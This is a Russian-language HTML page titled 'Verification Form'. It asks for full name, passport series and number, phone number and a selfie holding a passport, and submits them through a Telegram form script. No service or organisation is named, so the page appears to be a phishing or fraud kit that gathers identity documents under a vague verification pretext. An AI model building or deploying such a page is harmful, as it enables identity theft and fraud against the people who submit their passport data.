<!DOCTYPE html>
<html lang="ru_RU">

<head>
  <meta charset="utf-8" />
  <title>Форма Верификации✅</title>
  <meta name="author" content="Oleg Grigoryev" />
  <meta name="copyright" content="https://te.me/sleeprezedent" />
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="./css/style.css">
  <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700" rel="stylesheet" type="text/css">
</head>

<body>
  <div class="form-wrapper">
    <form id="form-contact" method="POST" class="contact-form" autocomplete="off" enctype="multipart/form-data">
      <p class="contact-form__title">Заполните все поля и загрузите фото для верификации✅</p>
      <div class="preloader"></div>
      <p class="contact-form__message"></p>


       <!-- Поле с фамилией -->
       <div class="contact-form__input-wrapper contact-form__input-wrapper_familia">
        <input name="familia" type="text" class="contact-form__input contact-form__input_familia"
        placeholder="Введите фамилию"
        onfocus="this.style.transition = '0.3s'; this.style.border = '1px solid rgba(255, 241, 198, 0.2)';"
        style="height: 50px; border: 1px solid #282a2e; border-radius: 5px; width: 100%; background: url('/img/user.svg') center left 15px no-repeat, #1c1e21; background-size: 30px; margin-bottom: 20px; padding: 0 15px 0 59px; font: 16px 'Roboto', sans-serif; color: #fff;">
      </div>

      <!-- Поле с именем -->
      <div class="contact-form__input-wrapper contact-form__input-wrapper_name">
        <input name="name" type="text" class="contact-form__input contact-form__input_name"
        onfocus="this.style.transition = '0.3s'; this.style.border = '1px solid rgba(255, 241, 198, 0.2)';"
               placeholder="Введите имя">
      </div>

  <!-- Поле с отчеством -->
  <div class="contact-form__input-wrapper contact-form__input-wrapper_otchestvo">
    <input name="otchestvo" type="text" class="contact-form__input contact-form__input_otchestvo"
    onfocus="this.style.transition = '0.3s'; this.style.border = '1px solid rgba(255, 241, 198, 0.2)';"
    placeholder="Введите отчество"
    style="height: 50px; border: 1px solid #282a2e; border-radius: 5px; width: 100%; background: url('/img/user.svg') center left 15px no-repeat, #1c1e21; background-size: 30px; margin-bottom: 20px; padding: 0 15px 0 59px; font: 16px 'Roboto', sans-serif; color: #fff;">
  </div>
  
 <!-- Поле с паспортом -->
<div class="contact-form__input-wrapper contact-form__input-wrapper_passport">
  <input name="passport" type="text" class="contact-form__input contact-form__input_passport"
  placeholder="Введите серию и номер паспорта" maxlength="10"
  onfocus="this.style.transition = '0.3s'; this.style.border = '1px solid rgba(255, 241, 198, 0.2)';"
  oninput="this.value = this.value.replace(/[^0-9]/g, '').slice(0, 10)"
  style="height: 50px; border: 1px solid #282a2e; border-radius: 5px; width: 100%; background: url('/img/passpot.svg') center left 15px no-repeat, #1c1e21; background-size: 30px; margin-bottom: 20px; padding: 0 15px 0 59px; font: 16px 'Roboto', sans-serif; color: #fff;">
</div>


      <!-- Поле с телефоном -->
      <div class="contact-form__input-wrapper contact-form__input-wrapper_phone">
        <input name="phone" type="tel" class="contact-form__input contact-form__input_phone"
               placeholder="Введите ваш телефон">
      </div>

      <!-- Поле с выбором файла -->
      <div class="contact-form__input-wrapper">
        <input type="file" name="files[]" id="contact-form__input_file"
               class="contact-form__input contact-form__input_file" multiple>
        <label for="contact-form__input_file" class="contact-form__file-button">
          <span class="contact-form__file-text">Добавьте селфи с паспортом</span>
        </label>
      </div>


      <!--Поле с темой в письме-->
      <input name="theme" type="hidden" class="contact-form__input contact-form__input_theme"
             value="Новая верификация✅">

      <!--Кнопка отправки формы-->
      <button type="submit" class="contact-form__button">Отправить</button>

    </form>
  </div>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
  <script src="/telegramform/js/telegramform.js"></script>
  <script>

    // Кастомизация поля с файлом.
    let inputs = document.querySelectorAll('.contact-form__input_file');
    Array.prototype.forEach.call(inputs, function (input) {
      let label = input.nextElementSibling,
        labelVal = label.querySelector('.contact-form__file-text').innerText;

      input.addEventListener('change', function (e) {
        let countFiles = '';
        if (this.files && this.files.length >= 1)
          countFiles = this.files.length;

        if (countFiles)
          label.querySelector('.contact-form__file-text').innerText = 'Выбрано файлов: ' + countFiles;
        else
          label.querySelector('.contact-form__file-text').innerText = labelVal;
      });
    });

  </script>

  <!-- Маска ввода номера телефона. -->
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js"></script>
  <script>
    $(function () {
      $('input[type="tel"]').mask('+7(000)000-00-00');
    });
  </script>



</body>

</html>